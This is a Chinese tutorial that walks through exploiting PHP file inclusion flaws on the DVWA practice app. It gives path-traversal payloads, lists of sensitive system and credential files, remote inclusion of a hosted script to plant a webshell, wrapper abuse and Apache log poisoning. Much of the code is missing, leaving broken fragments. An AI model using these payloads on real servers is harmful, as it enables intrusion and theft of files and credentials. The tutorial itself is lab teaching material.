PHP中文件包含的函数:
include()、include_once()、require()、require_once、highlight_file
、show_source 、readfile 、file_get_contents 、fopen 、file。
文件包含分为本地包含和远程包含。
1、本地包含
如下面的index.php文件:
它包含了phpinfo.php文件,在浏览器中访问index.php的执行结果如下:
注:
a.只要文件内容符合PHP语法规范,那么任何扩展名都可以被PHP解析。
b.包含非PHP语法规范源文件时,将会暴露其源代码。
2、远程包含
如果要使用远程包含功能,首先要确定PHP是否已经开启远程包含功能选项,PHP默认关闭远程包含功能,需要修改配置文件php.ini,把allow_url_include = off
中的 off 改为 on ,方法如下:打开phpstudy应用软件–》其他选项–》php.ini
(注意这里说的不是dvwa中的php.in)
一个index.php代码如下:
假设 http://abc.com 的目录下有php.txt文件,
访问 localhost/index.php?page=http://abc.com/php.txt 即可加载出php.txt文件。
1.判断是否存在文件包含漏洞:
可以在DVWA进行上测试,怎么进行测试网上这类资料很多,可自行学习实践,现在我们来分析DVWA上三个级别的源代码:
a.LOW级别
可以看出它没有经过任何过滤,直接获取page参数,显然存在文件包含漏洞,如果这种情况,我们可以直接修改page参数。
(1) 本地文件包含payload:
?page=C:/windows/win.ini
?page=…/…/…/…/…/…/…/…/…/…/etc/password
如果目标主机下存在此文件,并有相应的权限,那么就可以读出文件内容,如下图,网页显示了配置文件:
如果目标主机不存在此文件,则会直接暴露网站的绝对路径:
(2) 远程文件包含:
创建一个远程恶意脚本,文件名为file_include.php
payload:
?page=http://localhost/file_include.php
b.MEDIUM级别
源代码:
可以看出它过滤了page参数中的http://、https://、. ./和. .\,但是我们可以使用php://input,php://filter, data,url schema等进行注入,也可使用替换逻辑漏洞(只替换一次)将被替换字符串迭代使用。
c.HIGH级别
源代码:
可以看出对参数进行了检查,必须为file开头或者是include.php,因此只能包含本地以file开头的文件,或者配合文件上传漏洞组合利用。
如果确实存在文件包含漏洞,下面几种常见攻击方式:
1.读取本地敏感文件
可以直接读取,或者用file协议读取(主要用于访问本地计算机中的文件);
构造本地文件包含pload,如果目标主机文件存在且有相应权限就可以读取文件相应内容,反之会得到一个警告。
注:
常见敏感信息路径:
Windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\Program Files\mysql\my,ini // MySQL配置
c:\Program Files\mysql\data\mysql\user.MYD // MySQL root
c:\windows\php.ini // php 配置信息
c:\windows\my.ini // MySQL 配置文件
…
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
…
(摘自《Web安全深度剖析》)
2.远程包含shell
前提:目标主机 allow_url_fopen选项是开着的。
远程包含一句话木马:
如:http://localhost/file_include.txt
');
fclose($op);
?>
利用文件包含漏洞包含 file_include.txt 文件,把木马shell.php上传到目标主机服务器上,如下图:
发现fi目录下出现了shell.php,上传成功:
shell.php里面的内容就是
记住木马的位置,进行攻击:
攻击成功:
或者可以用菜刀连接,这里我使用的是蚁剑:
注:密码就是你shell.php代码POST里的参数名称
连接成功,文件全盘托下:
蚁剑的使用可参考:https://www.3hack.com/tools/17.html
然而,实际攻击时整个过程没那么简单,可参考:一句话木马
3.使用PHP封装协议
(1)利用php://input,写马或者命令执行。
注:只有在allow_url_include为On时才能使用,
用bp抓包,修改数据,重发
成功生成webshell.php
(2) 利用php://filter/read=convert.base64/resource= 读取文件源码
4.包含Apache日志文件
前提:存在文件包含漏洞;知道Apache日志的路径;
原理:Apache运行后一般默认生成两个文件,如果没有,请修改相关配置,这两个文件是访问日志access.log和错误日志error.log,访问日志记录了客户端的每次请求和服务器做出响应的相关信息。
日志格式可参考:Apache日志详解
当访问了一个不存在的资源时,Apache仍然会记录,所以当网站存在本地文件包含漏洞却无法包含文件时,可以利用Apache日志,试着访问URL:http://xxx/
,这时会被记录到access.log中,再去包含access文件。
但是,实际上一句话木马在日志文件中变形了,变成了 %3C?php%20phpinfo(); )?%3E
,这时我们使用Burpsuit来绕过编码就ok了。